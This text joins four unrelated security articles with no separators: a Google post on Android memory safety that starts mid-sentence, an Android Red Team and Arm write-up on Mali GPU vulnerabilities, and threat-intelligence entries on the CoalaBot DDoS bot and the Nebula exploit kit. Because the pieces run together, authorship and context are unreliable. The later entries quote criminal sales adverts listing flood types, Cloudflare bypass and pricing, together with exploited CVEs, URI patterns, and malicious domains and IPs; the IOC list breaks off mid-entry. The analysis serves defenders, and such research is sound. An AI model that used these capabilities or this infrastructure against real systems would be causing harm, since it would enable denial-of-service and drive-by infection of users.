phenomenon. Researchers found that the vast majority of vulnerabilities reside in new or recently modified code: This confirms and generalizes our observation, published in 2021, that the density of Android’s memory safety bugs decreased with the age of the code, primarily residing in recent changes. This leads to two important takeaways: The problem is overwhelmingly with new code, necessitating a fundamental change in how we develop code. Code matures and gets safer with time, exponentially, making the returns on investments like rewrites diminish over time as code gets older. For example, based on the average vulnerability lifetimes, 5-year-old code has a 3.4x (using lifetimes from the study) to 7.4x (using lifetimes observed in Android and Chromium) lower vulnerability density than new code. In real life, as with our simulation, when we start to prioritize prevention, the situation starts to rapidly improve. In practice on Android The Android team began prioritizing transitioning new development to memory safe languages around 2019. This decision was driven by the increasing cost and complexity of managing memory safety vulnerabilities. There’s much left to do, but the results have already been positive. Here’s the big picture in 2024, looking at total code: Despite the majority of code still being unsafe (but, crucially, getting progressively older), we’re seeing a large and continued decline in memory safety vulnerabilities. The results align with what we simulated above, and are even better, potentially as a result of our parallel efforts to improve the safety of our memory unsafe code. We first reported this decline in 2022, and we continue to see the total number of memory safety vulnerabilities dropping3. Note that the data for 2024 is extrapolated to the full year (represented as 36, but currently at 27 after the September security bulletin). The percent of vulnerabilities caused by memory safety issues continues to correlate closely with the development language that’s used for new code. Memory safety issues, which accounted for 76% of Android vulnerabilities in 2019, and are currently 24% in 2024, well below the 70% industry norm, and continuing to drop. As we noted in a previous post, memory safety vulnerabilities tend to be significantly more severe, more likely to be remotely reachable, more versatile, and more likely to be maliciously exploited than other vulnerability types. As the number of memory safety vulnerabilities have dropped, the overall security risk has dropped along with it. Evolution of memory safety strategies Over the past decades, the industry has pioneered significant advancements to combat memory safety vulnerabilities, with each generation of advancements contributing valuable tools and techniques that have tangibly improved software security. However, with the benefit of hindsight, it’s evident that we have yet to achieve a truly scalable and sustainable solution that achieves an acceptable level of risk: 1st generation: reactive patching. The initial focus was mainly on fixing vulnerabilities reactively. For problems as rampant as memory safety, this incurs ongoing costs on the business and its users. Software manufacturers have to invest significant resources in responding to frequent incidents. This leads to constant security updates, leaving users vulnerable to unknown issues, and frequently albeit temporarily vulnerable to known issues, which are getting exploited ever faster. 2nd generation: proactive mitigating. The next approach consisted of reducing risk in vulnerable software, including a series of exploit mitigation strategies that raised the costs of crafting exploits. However, these mitigations, such as stack canaries and control-flow integrity, typically impose a recurring cost on products and development teams, often putting security and other product requirements in conflict: They come with performance overhead, impacting execution speed, battery life, tail latencies, and memory usage, sometimes preventing their deployment. Attackers are seemingly infinitely creative, resulting in a cat-and-mouse game with defenders. In addition, the bar to develop and weaponize an exploit is regularly being lowered through better tooling and other advancements. 3rd generation: proactive vulnerability discovery. The following generation focused on detecting vulnerabilities. This includes sanitizers, often paired with fuzzing like libfuzzer, many of which were built by Google. While helpful, these methods address the symptoms of memory unsafety, not the root cause. They typically require constant pressure to get teams to fuzz, triage, and fix their findings, resulting in low coverage. Even when applied thoroughly, fuzzing does not provide high assurance, as evidenced by vulnerabilities found in extensively fuzzed code. Products across the industry have been significantly strengthened by these approaches, and we remain committed to responding to, mitigating, and proactively hunting for vulnerabilities. Having said that, it has become increasingly clear that those approaches are not only insufficient for reaching an acceptable level of risk in the memory-safety domain, but incur ongoing and increasing costs to developers, users, businesses, and products. As highlighted by numerous government agencies, including CISA, in their secure-by-design report, "only by incorporating secure by design practices will we break the vicious cycle of constantly creating and applying fixes." The fourth generation: high-assurance prevention The shift towards memory safe languages represents more than just a change in technology, it is a fundamental shift in how to approach security. This shift is not an unprecedented one, but rather a significant expansion of a proven approach. An approach that has already demonstrated remarkable success in eliminating other vulnerability classes like XSS. The foundation of this shift is Safe Coding, which enforces security invariants directly into the development platform through language features, static analysis, and API design. The result is a secure by design ecosystem providing continuous assurance at scale, safe from the risk of accidentally introducing vulnerabilities. The shift from previous generations to Safe Coding can be seen in the quantifiability of the assertions that are made when developing code. Instead of focusing on the interventions applied (mitigations, fuzzing), or attempting to use past performance to predict future security, Safe Coding allows us to make strong assertions about the code's properties and what can or cannot happen based on those properties. Safe Coding's scalability lies in its ability to reduce costs by: Breaking the arms race: Instead of an endless arms race of defenders attempting to raise attackers’ costs by also raising their own, Safe Coding leverages our control of developer ecosystems to break this cycle by focusing on proactively building secure software from the start. Commoditizing high assurance memory safety: Rather than precisely tailoring interventions to each asset's assessed risk, all while managing the cost and overhead of reassessing evolving risks and applying disparate interventions, Safe Coding establishes a high baseline of commoditized security, like memory-safe languages, that affordably reduces vulnerability density across the board. Modern memory-safe languages (especially Rust) extend these principles beyond memory safety to other bug classes. Increasing productivity: Safe Coding improves code correctness and developer productivity by shifting bug finding further left, before the code is even checked in. We see this shift showing up in important metrics such as rollback rates (emergency code revert due to an unanticipated bug). The Android team has observed that the rollback rate of Rust changes is less than half that of C++. From lessons to action Interoperability is the new rewrite Based on what we’ve learned, it's become clear that we do not need to throw away or rewrite all our existing memory-unsafe code. Instead, Android is focusing on making interoperability safe and convenient as a primary capability in our memory safety journey. Interoperability offers a practical and incremental approach to adopting memory safe languages, allowing organizations to leverage existing investments in code and systems, while accelerating the development of new features. We recommend focusing investments on improving interoperability, as we are doing with Rust ↔︎ C++ and Rust ↔︎ Kotlin. To that end, earlier this year, Google provided a $1,000,000 grant to the Rust Foundation, in addition to developing interoperability tooling like Crubit and autocxx. Role of previous generations As Safe Coding continues to drive down risk, what will be the role of mitigations and proactive detection? We don’t have definitive answers in Android, but expect something like the following: More selective use of proactive mitigations: We expect less reliance on exploit mitigations as we transition to memory-safe code, leading to not only safer software, but also more efficient software. For instance, after removing the now unnecessary sandbox, Chromium's Rust QR code generator is 20 times faster. Decreased use, but increased effectiveness of proactive detection: We anticipate a decreased reliance on proactive detection approaches like fuzzing, but increased effectiveness, as achieving comprehensive coverage over small well-encapsulated code snippets becomes more feasible. Final thoughts Fighting against the math of vulnerability lifetimes has been a losing battle. Adopting Safe Coding in new code offers a paradigm shift, allowing us to leverage the inherent decay of vulnerabilities to our advantage, even in large existing systems. The concept is simple: once we turn off the tap of new vulnerabilities, they decrease exponentially, making all of our code safer, increasing the effectiveness of security design, and alleviating the scalability challenges associated with existing memory safety strategies such that they can be applied more effectively in a targeted manner. This approach has proven successful in eliminating entire vulnerability classes and its effectiveness in tackling memory safety is increasingly evident based on more than half a decade of consistent results in Android. We'll be sharing more about our secure-by-design efforts in the coming months. Acknowledgements Thanks Alice Ryhl for coding up the simulation. Thanks to Emilia Kasper, Adrian Taylor, Manish Goregaokar, Christoph Kern, and Lars Bergstrom for your helpful feedback on this post. Notes Simulation was based on numbers similar to Android and other Google projects. The code base doubles every 6 years. The average lifetime for vulnerabilities is 2.5 years. It takes 10 years to transition to memory safe languages for new code, and we use a sigmoid function to represent the transition. Note that the use of the sigmoid function is why the second chart doesn’t initially appear to be exponential. ↩ Alexopoulos et al. "How Long Do Vulnerabilities Live in the Code? A Large-Scale Empirical Measurement Study on FOSS Vulnerability Lifetimes". USENIX Security 22. ↩ Unlike our simulation, these are vulnerabilities from a real code base, which comes with higher variance, as you can see in the slight increase in 2023. Vulnerability reports were unusually high that year, but in line with expectations given code growth, so while the percentage of memory safety vulnerabilities continued to drop, the absolute number increased slightly. ↩

Posted by Xuan Xing, Eugene Rodionov, Jon Bottarini, Adam Bacchus - Android Red Team; Amit Chaudhary, Lyndon Fawcett, Joseph Artgole - Arm Product Security Team Who cares about GPUs? You, me, and the entire ecosystem! GPUs (graphics processing units) are critical in delivering rich visual experiences on mobile devices. However, the GPU software and firmware stack has become a way for attackers to gain permissions and entitlements (privilege escalation) to Android-based devices. There are plenty of issues in this category that can affect all major GPU brands, for example, CVE-2023-4295, CVE-2023-21106, CVE-2021-0884, and more. Most exploitable GPU vulnerabilities are in the implementation of the GPU kernel mode modules. These modules are pieces of code that load/unload during runtime, extending functionality without the need to reboot the device. Proactive testing is good hygiene as it can lead to the detection and resolution of new vulnerabilities before they’re exploited. It’s also one of the most complex investigations to do as you don’t necessarily know where the vulnerability will appear (that’s the point!). By combining the expertise of Google’s engineers with IP owners and OEMs, we can ensure the Android ecosystem retains a strong measure of integrity. Why investigate GPUs? When researching vulnerabilities, GPUs are a popular target due to: Functionality vs. Security Tradeoffs Nobody wants a slow, unresponsive device; any hits to GPU performance could result in a noticeably degraded user experience. As such, the GPU software stack in Android relies on an in-process HAL model where the API & user space drivers communicating with the GPU kernel mode module are running directly within the context of apps, thus avoiding IPC (interprocess communication). This opens the door for potentially untrusted code from a third party app being able to directly access the interface exposed by the GPU kernel module. If there are any vulnerabilities in the module, the third party app has an avenue to exploit them. As a result, a potentially untrusted code running in the context of the third party application is able to directly access the interface exposed by the GPU kernel module and exploit potential vulnerabilities in the kernel module. Variety & Memory Safety Additionally, the implementation of GPU subsystems (and kernel modules specifically) from major OEMs are increasingly complex. Kernel modules for most GPUs are typically written in memory unsafe languages such as C, which are susceptible to memory corruption vulnerabilities like buffer overflow. Can someone do something about this? Great news, we already have! Who’s we? The Android Red Team and Arm! We’ve worked together to run an engagement on the Mali GPU (more on that below), but first, a brief introduction: Android Red Team The Android Red Team performs time-bound security assessment engagements on all aspects of the Android open source codebase and conducts regular security reviews and assessments of internal Android components. Throughout these engagements, the Android Red Team regularly collaborates with 3rd party software and hardware providers to analyze and understand proprietary and “closed source” code repositories and relevant source code that are utilized by Android products with the sole objective to identify security risks and potential vulnerabilities before they can be exploited by adversaries outside of Android. This year, the Android Red Team collaborated directly with our industry partner, Arm, to conduct the Mali GPU engagement and further secure millions of Android devices. Arm Product Security and GPU Teams Arm has a central product security team that sets the policy and practice across the company. They also have dedicated product security experts embedded in engineering teams. Arm operates a systematic approach which is designed to prevent, discover, and eliminate security vulnerabilities. This includes a Security Development Lifecycle (SDL), a Monitoring capability, and Incident Response. For this collaboration the Android Red Teams were supported by the embedded security experts based in Arm’s GPU engineering team. Working together to secure Android devices Google’s Android Security teams and Arm have been working together for a long time. Security requirements are never static, and challenges exist with all GPU vendors. By frequently sharing expertise, the Android Red Team and Arm were able to accelerate detection and resolution. Investigations of identified vulnerabilities, potential remediation strategies, and hardening measures drove detailed analyses and the implementation of fixes where relevant. Recent research focused on the Mali GPU because it is the most popular GPU in today's Android devices. Collaborating on GPU security allowed us to: Assess the impact on the broadest segment of the Android Ecosystem: The Arm Mali GPU is one of the most used GPUs by original equipment manufacturers (OEMs) and is found in many popular mobile devices. By focusing on the Arm Mali GPU, the Android Red Team could assess the security of a GPU implementation running on millions of Android devices worldwide. Evaluate the reference implementation and vendor-specific changes: Phone manufacturers often modify the upstream implementation of GPUs. This tailors the GPU to the manufacturer's specific device(s). These modifications and enhancements are always challenging to make, and can sometimes introduce security vulnerabilities that are not present in the original version of the GPU upstream. In this specific instance, the Google Pixel team actively worked with the Android Red Team to better understand and secure the modifications they made for Pixel devices. Improvements Investigations have led to significant improvements, leveling up the security of the GPU software/firmware stack across a wide segment of the Android ecosystem. Testing the kernel driver One key component of the GPU subsystem is its kernel mode driver. During this engagement, both the Android Red Team and Arm invested significant effort looking at the Mali kbase kernel driver. Due to its complexity, fuzzing was chosen as the primary testing approach for this area. Fuzzing automates and scales vulnerability discovery in a way not possible via manual methods. With help from Arm, the Android Red Team added more syzkaller fuzzing descriptions to match the latest Mali kbase driver implementation. The team built a few customizations to enable fuzzing the Mali kbase driver in the cloud, without physical hardware. This provided a huge improvement to fuzzing performance and scalability. With the Pixel team’s support, we also were able to set up fuzzing on actual Pixel devices. Through the combination of cloud-based fuzzing, Pixel-based fuzzing, and manual review, we were able to uncover two memory issues in Pixel’s customization of driver code (CVE-2023-48409 and CVE-2023-48421). Both issues occurred inside of the gpu_pixel_handle_buffer_liveness_update_ioctl function, which is implemented by the Pixel team as part of device specific customization. These are both memory issues caused by integer overflow problems. If exploited carefully alongside other vulnerabilities, these issues could lead to kernel privilege escalation from user space. Both issues were fixed and the patch was released to affected devices in Pixel security bulletin 2023-12-01. Testing the firmware Firmware is another fundamental building block of the GPU subsystem. It’s the intermediary working with kernel drivers and GPU hardware. In many cases, firmware functionality is directly/indirectly accessible from the application. So “application ⇒ kernel ⇒ firmware ⇒ kernel” is a known attack flow in this area. Also, in general, firmware runs on embedded microcontrollers with limited resources. Commonly used security kernel mitigations (ASLR, stack protection, heap protection, certain sanitizers, etc.) might not be applicable to firmware due to resource constraints and performance impact. This can make compromising firmware easier, in some cases, than directly compromising kernel drivers from user space. To test the integrity of existing firmware, the Android Red Team and Arm worked together to perform both fuzzing and formal verification along with manual analysis. This multi-pronged approach led to the discovery of CVE-2024-0153, which had a patch released in the July 2024 Android Security Bulletin. CVE-2024-0153 happens when GPU firmware handles certain instructions. When handling such instructions, the firmware copies register content into a buffer. There are size checks before the copy operation. However, under very specific conditions, an out-of-bounds write happens to the destination buffer, leading to a buffer overflow. When carefully manipulated, this overflow will overwrite some other important structures following the buffer, causing code execution inside of the GPU firmware. The conditions necessary to reach and potentially exploit this issue are very complex as it requires a deep understanding of how instructions are executed. With collective expertise, the Android Red Team and Arm were able to verify the exploitation path and leverage the issue to gain limited control of GPU firmware. This eventually circled back to the kernel to obtain privilege escalation. Arm did an excellent job to respond quickly and remediate the issue. Altogether, this highlights the strength of collaboration between both teams to dive deeper. Time to Patch It’s known that attackers exploit GPU vulnerabilities in the wild, and time to patch is crucial to reduce risk of exploitation and protect users. As a result of this engagement, nine new Security Test suite (STS) tests were built to help partners automatically check their builds for missing Mali kbase patches. (Security Test Suite is software provided by Google to help partners automate the process of checking their builds for missing security patches.) What’s Next? The Arm Product Security Team is actively involved in security-focused industry communities and collaborates closely with its ecosystem partners. The engagement with the Android Red Team, for instance, provides valuable enablement that drives best practices and product excellence. Building on this collaborative approach, Arm is complementing its product security assurance capabilities with a bug bounty program. This investment will expand Arm’s efforts to identify potential vulnerabilities. For more information on Arm's product security initiatives, please visit this product security page. The Android Red Team and Arm continue to work together to proactively raise the bar on GPU security. With thorough testing, rapid fixing, and updates to the security test suite, we’re improving the ecosystem for Android users. The Android Red Team looks forward to replicating this working relationship with other ecosystem partners to make devices more secure.

CoalaBot appears to be build on August Stealer code (Panel and Traffic are really alike)I found it spread as a tasks in a Betabot and in an Andromeda spread via RIG fed by at least one HilltopAds malvertising. 2017-09-11: a witnessed infection chain to CoalaBotA look inside :CoalaBot: Login Screen(August Stealer alike) CoalaBot: StatisticsCoalaBot: BotsCoalaBot: TasksCoalaBot: TasksCoalaBot: New Taks (list)CoalaBot: https get task detailsCoalaBot: http post task detailsCoalaBot: SettingsHere is the translated associated advert published on 2017-08-23 by a user going with nick : Discomrade.(Thanks to Andrew Komarov and others who provided help here).------------------------------------------Coala Http Ddos Bot The software focuses on L7 attacks (HTTP). Lower levels have more primitive attacks.Attack types:• ICMP (PING) FLOOD• UDP FLOOD• TCP FLOOD• HTTP ARME• HTTP GET *• HTTP POST *• HTTP SLOWLORIS *• HTTP PULSE WAVE ** - Supports SMART mode, i.e. bypasses Cloudflare/Blazingfast and similar services (but doesn’t bypass CAPTCHA). All types except ICMP/UDP have support for using SSL.Binary:• .NET 2.0 x86 (100% working capacity WIN XP - WIN 7, on later versions ОС .NET 2.0 disabled by default)• ~100kb after obfuscation• Auto Backup (optional)• Low CPU load for efficient use• Encryption of incoming/outgoing traffic• No installation on machines from former CIS countries(RU/UA/BL/KZ/...)• Scan time non-FUD. Contact us if you need a recommendation for a good crypting service.• Ability to link a build to more than one gate.Panel:• Detailed statistics on time online/architecture/etc. • List of bots, detailed information• Number count of requests per second (total/for each bot)• Creation of groups for attacks• Auto sorting of bots by groups • Creation of tasks, the ability to choose by group/country• Setting an optional time for bots success rate Other:• Providing macros for randomization of sent data • Support of .onion gate• Ability to install an additional layer (BOT => LAYER => MAIN GATE) Requirements:• PHP 5.6 or higher• MySQL• Мodule for MySQLi(mysqli_nd); php-mbstring, php-json, php-mcrypt extensionsScreenshots:• Statistics- http://i.imgur.com/FUevsaS.jpg• Bots - http://i.imgur.com/nDwl9pY.jpg• Created tasks - http://i.imgur.com/RltiDhl.png• Task List - http://i.imgur.com/tqEEpX0.jpg• Settings - http://i.imgur.com/EbhExjE.jpgPrice:• $300 - build and panel. Up to 3 gates for one build.• $20 - rebuildThe price can vary depending on updates.Escrow service is welcome.Help with installation is no charge.------------------------------------------Sample:VT linkMD5 f3862c311c67cb027a06d4272b680a3bSHA1 0ff1584eec4fc5c72439d94e8cee922703c44049SHA256 fd07ad13dbf9da3f7841bc0dbfd303dc18153ad36259d9c6db127b49fa01d08fEmerging Threats rules :2024531 || ET TROJAN MSIL/CoalaBot CnC ActivityRead More:August in November: New Information Stealer Hits the Scene - 2016-12-07 - Proofpoint

Nebula LogoWhile Empire (RIG-E) disappeared at the end of December after 4 months of activityIllustration of  the last month of witnessed Activity for Empireon 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.------Selling EK Nebula------Nebula Exploit kitFeatures:-Automatic domain scanning and generating (99% FUD)-API rotator domains-Exploit rate tested in different traffic go up 8/19%-knock rate tested whit popular botnet go 30/70%-Clean and modern user interface-Custom domains & server ( add & point your own domains coming soon...)-Unlimited flows & files-Scan file & domains-Multiple payload file types supported (exe , dll , js, vbs)-Multi. geo flow (split loads by country & file)-Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting-Public stats by file & flow-latest CVE-2016 CVE-2017-custom features just ask supportSubscriptions:24h - 100$7d - 600$31d - 2000$Jabber - nebula-support@xmpp.jpOffering free tests to trusted users ------In same thread some screenshots were shared by a customer.Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown."GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 ) This Sundown variation was not so much different from the mainstream one.No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.Digging more it appeared it was featuring an Internal TDS (as Empire). The same exact call would give you a different payload in France or in United Kingdom/Japan."GamiNook" traffic with geo in France - 2017-02-17Identicall payload call gives you Gootkit instead of PitouPayload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.The following days i saw other actor sending traffic to this EK.Taxonomy tied to Nebula Activity in MISP - 2017-03-02Taxonomy tied to GamiNook traffic activity, EK and resulting payloadToday URI pattern changed from this morning :/?yWnuAH-XgstCZ3E=tCi6ZGr10KUDHiaOgKVNolmBgpc3rkRp-weok1A2JV-gkpS0luBwQDdM/?yXy3HX2F=tCu_Mj322aEBSXjYhatLoVmBgZJh_0Fg_wX_zQYxIg6nksDowOciFzNB/?yXzbGV2jkcB_eU8=4ya6MDz31KdQTi7ahapLolnWjJdj_EJt-VT4mwQxIQ6gksTllrB3EGRM/?ykjaKniEk6ZhH1-P=si-8YGj_1aANTynfh6Ye81mHhZE0_RNs_gn5nAExcV6okpTknOQgEmNN/?z0vDa0iBu-Q=tHnqNT_-1KcGGCzfhqVKoVmB08dm_BJt-QKumQEwJA2nksGyk-QhQDRA/?z13qMVqqoKRvTw=5S--Y2uk0apQGiyOhvdI81nQhZMwqxVo9FSsmVAyIgiokpPnl-V0QDIf/?z1fECTiT=sy7tYmz206FUGCvagKpK9VmGhMAxrxZq_1CungQwdF71ksDowOciFzNB/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksTllrB3EGRM/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksW2w7QsRTIf/?zWnBFniM=4Ca9Zjej0PRTGC3e06FJp1nVjJA1rBRpqleumABkJF2hksTllrB3EGRM/?zn3iKU_xjeNxWw=sHu7MTry2aoAFCyKgKUY8FmF0ZZi_kFg9ASimVQ2cl-lksTllrB3EGRM/?zy3jN0Gvi9RjY02F2g=4H27Yjn-0_EBHSrc26MfoVnV15Yx-hJqrwWrnwJjcVqnkpTknOQgEmNN(which is Sundown/Beps without the index.php) to/86fb7c1b/showpost.php?s=af75b6af5d0f08cf675149da13b1d3e4&p=13&postcount=8/641222267738845/thumb/6456dac5bc39ec7/comment_post.php?ice=bDaE06lCQU/507728217866857/9ecc534d/bug_report/media/pr.php?id=b38cb0526f8cd52d878009d9f27be8f4/gu/Strategy/qNXL8WmQ6G/rss.php?cat=MSFT/moddata/a9/showpost.php?s=0d2d722e1a2a625b3ceb042daf966593&p=13&postcount=1/2003/01/27/exchange-monday-wilderness/46198923243328031687/applications/blockStyle.php?last-name=6419f08706689953783a59fa4faeb75c/5wtYymZeVy/LKYcSFhKOi/showpost.php?s=2e3e8a3c3b6b00cd3033f8e20d174bf5&p=8&postcount=7/2006/08/05/fur-copper-shark/48396170957391254103/XD25OYwON1/showpost.php?s=abf72cd40a08463fad0b3d153da66cae&p=27&postcount=7/tV9FnNwo4h/b303debe9a6305791b9cd16b1f10b91e/promotion.php?catid=h/ef131fb2025525a/QLGWEFwfdh/550991586389812/core.write_file.php?lawyer=9H6UhvusOi/aPKr0Oe5GV/23861001482170285181/showpost.php?s=e74b32ba071772d5b55f97159db2e998&p=2&postcount=1/2/eb799e65a412b412ee63150944c7826d61cd7a544f7aa57029a9069698b4925b2068ed77dea8dc6210b933e3ecf1f35b/showthread.php?t=18024&page=14/js/archives/3f635a090e73f9b/showthread.php?t=6636&page=18/59cdf39001a623620bd7976a42dde55f190382060a264e21809fc51f/ff0a503d59ddb4d5e1fb663b6475dfe0ba08f0b84ce8692d/viewtopic.php?f=84&t=48361/615147354246727/339824645925013/nqHgct4sEE/showthread.php?t=51299&page=20/2012/04/22/present-measure-physical-examination(for those who would like to build their regexp, more pattern available here : https://raw.githubusercontent.com/Kafeine/public/master/Nebula_URI )2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02This landing pattern change triggered the publication of this post. Nebula might end up not being a "vapor" EK but let's wait and see. The only difference with Sundown till today was its internal TDS.Exploits: CVE-2014-6332 + CVE-2015-0016CVE-2013-2551CVE-2016-0189 godmodeCVE-2015-8651CVE-2015-7645CVE-2016-4117Files:  Nebula_2017-03-02 (2 fiddler - password is malware)Acknowledgement :Thanks Joseph C Chen and Brooks Li (Trendmicro),  Frank Ruiz (Fox-IT InTELL) and Andrew Komarov ( InfoArmor Inc. ) for the help on different aspect of this post.Edit:2017-03-03 Corrected some CVE id + not all payload are in clear---Some IOCsDateSha256Comment2017/02/17f4627005c018071f8ec6b084eef3936e3a267660b0df99ffa0d27a8d943d1af5Flash Exploit (CVE-2016-4117)2017/02/27be86dc88e6337f09999991c206f890e0d52959d41f2bb4c6515b5442b23f2eccFlash Exploit (CVE-2016-4117)2017/02/1767d598c6acbd6545ab24bbd44cedcb825657746923f47473dc40d0d1f122abb6Flash Exploit (CVE-2015-7645 Sample seen previously in Sundown)2017/02/1704fb00bdd3d2c0667b18402323fe7cf495ace5e35a4562e1a30e14b26384f41cFlash Exploit (CVE-2015-8651 Sample seen previously in Sundown)2017/02/17b976cf6fd583b349e51cb34b73de6ef3a5ee72f86849f847b9158b4a7fb2315cPitou2017/02/176fe13d913f4d3f2286f67fbde08ab17418ba8370410e52354ffa12a0aaf498f8Gootkit2017/02/221a22211d01d2e8746efe0d14ab7e1e547c3e30863a83e0884a9d90325bd7b64bRamnit2017/03/026764f98ba6509b3351ad2f960dcc47c27d0dc00d53d7e0ae132a7c1d15067f4aDiamondFoxDateDomainIPComment2017/02/17tci.nhnph.com188.209.49.135Nebula Payload Domain2017/02/22gnd.lplwp.com188.209.49.135Nebula Payload Domain2017/02/24qcl.ylk8.xyz188.209.49.23Nebula Payload Domain2017/02/28hmn.losssubwayquilt.pw93.190.141.166Nebula Payload Domain2017/03/02qgg.losssubwayquilt.pw93.190.141.166Nebula Payload Domain2017/02/17agendawedge.shoemakerzippersuccess.stream188.209.49.135Nebula2017/02/17clausmessage.nationweekretailer.club217.23.7.15Nebula2017/02/17equipmentparticle.shockadvantagewilderness.club217.23.7.15Nebula2017/02/17salaryfang.shockadvantagewilderness.club217.23.7.15Nebula2017/02/22deficitshoulder.lossicedeficit.pw188.209.49.135Nebula2017/02/22distributionjaw.hockeyopiniondust.club188.209.49.135Nebula2017/02/22explanationlier.asiadeliveryarmenian.pro188.209.49.135Nebula2017/02/23cowchange.distributionstatementdiploma.site188.209.49.151Nebula2017/02/23instructionscomposition.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/23paymentceramic.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/23soldierprice.distributionstatementdiploma.site188.209.49.135Nebula2017/02/23swissfacilities.gumimprovementitalian.stream188.209.49.135Nebula2017/02/23transportdrill.facilitiesturkishdipstick.info188.209.49.135Nebula2017/02/24authorisationmessage.casdfble.stream188.209.49.151Nebula2017/02/24cowchange.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24departmentant.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24disadvantageproduction.brassreductionquill.site188.209.49.151Nebula2017/02/24disadvantageproduction.casdfble.stream188.209.49.151Nebula2017/02/24europin.pedestrianpathexplanation.info188.209.49.151Nebula2017/02/24hygienicreduction.brassreductionquill.site188.209.49.151Nebula2017/02/24hygienicreduction.casdfble.stream188.209.49.151Nebula2017/02/24instructionscomposition.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24jobhate.pedestrianpathexplanation.info188.209.49.151Nebula2017/02/24limitsphere.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24paymentceramic.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24penaltyinternet.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/24phonefall.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/24printeroutput.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24redrepairs.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24soldierprice.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24suggestionburn.distributionstatementdiploma.site188.209.49.151Nebula2017/02/25advertiselaura.bubblecomparisonwar.top188.209.49.49Nebula2017/02/25apologycattle.gramsunshinesupply.club188.209.49.151Nebula2017/02/25apologycattle.gramsunshinesupply.club188.209.49.49Nebula2017/02/25apologycattle.gramsunshinesupply.club93.190.141.39Nebula2017/02/25apologycold.shearssuccessberry.club188.209.49.151Nebula2017/02/25authorizationmale.foundationspadeinventory.club188.209.49.151Nebula2017/02/25birthdayexperience.foundationspadeinventory.club188.209.49.151Nebula2017/02/25confirmationaustralian.retaileraugustplier.club188.209.49.151Nebula2017/02/25dancerretailer.shearssuccessberry.club188.209.49.151Nebula2017/02/25employergoods.deliverycutadvantage.info188.209.49.151Nebula2017/02/25fallhippopotamus.deliverycutadvantage.info188.209.49.151Nebula2017/02/25goallicense.shearssuccessberry.club188.209.49.151Nebula2017/02/25goalpanda.retaileraugustplier.club188.209.49.151Nebula2017/02/25holidayagenda.retaileraugustplier.club188.209.49.151Nebula2017/02/25marketsunday.deliverycutadvantage.info188.209.49.151Nebula2017/02/25penaltyinternet.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25phonefall.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25purposeguarantee.shearssuccessberry.club188.209.49.151Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club188.209.49.151Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club188.209.49.49Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/25rollinterest.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25startguarantee.gramsunshinesupply.club188.209.49.151Nebula2017/02/25startguarantee.gramsunshinesupply.club188.209.49.49Nebula2017/02/26advantagelamp.numberdeficitc-clamp.site93.190.141.39Nebula2017/02/26apologycattle.gramsunshinesupply.club93.190.141.39Nebula2017/02/26budgetdegree.maskobjectivebiplane.trade93.190.141.200Nebula2017/02/26competitionseason.numberdeficitc-clamp.site93.190.141.39Nebula2017/02/26customergazelle.cyclonesoybeanpossibility.bid93.190.141.39Nebula2017/02/26decembercommission.divingfuelsalary.trade93.190.141.200Nebula2017/02/26distributionfile.edgetaxprice.site93.190.141.45Nebula2017/02/26equipmentwitness.maskobjectivebiplane.trade93.190.141.200Nebula2017/02/26invoiceburst.cyclonesoybeanpossibility.bid93.190.141.39Nebula2017/02/26invoicegosling.edgetaxprice.site93.190.141.45Nebula2017/02/26jailreduction.edgetaxprice.site93.190.141.45Nebula2017/02/26rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/26startguarantee.gramsunshinesupply.club93.190.141.39Nebula2017/02/27afforddrill.xzv4rzuctndfo.club93.190.141.45Nebula2017/02/27approveriver.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/27burglarsatin.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/27distributionfile.edgetaxprice.site93.190.141.45Nebula2017/02/27invoicegosling.edgetaxprice.site93.190.141.45Nebula2017/02/27jailreduction.edgetaxprice.site93.190.141.45Nebula2017/02/27lipprice.edgetaxprice.site93.190.141.45Nebula2017/02/27marginswiss.divingfuelsalary.trade93.190.141.200Nebula2017/02/27outputfruit.divingfuelsalary.trade93.190.141.200Nebula2017/02/27rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/27reindeerprofit.divingfuelsalary.trade93.190.141.200Nebula2017/02/27reminderdonna.divingfuelsalary.trade93.190.141.200Nebula2017/02/27startguarantee.gramsunshinesupply.club93.190.141.39Nebula2017/02/27supplyheaven.grams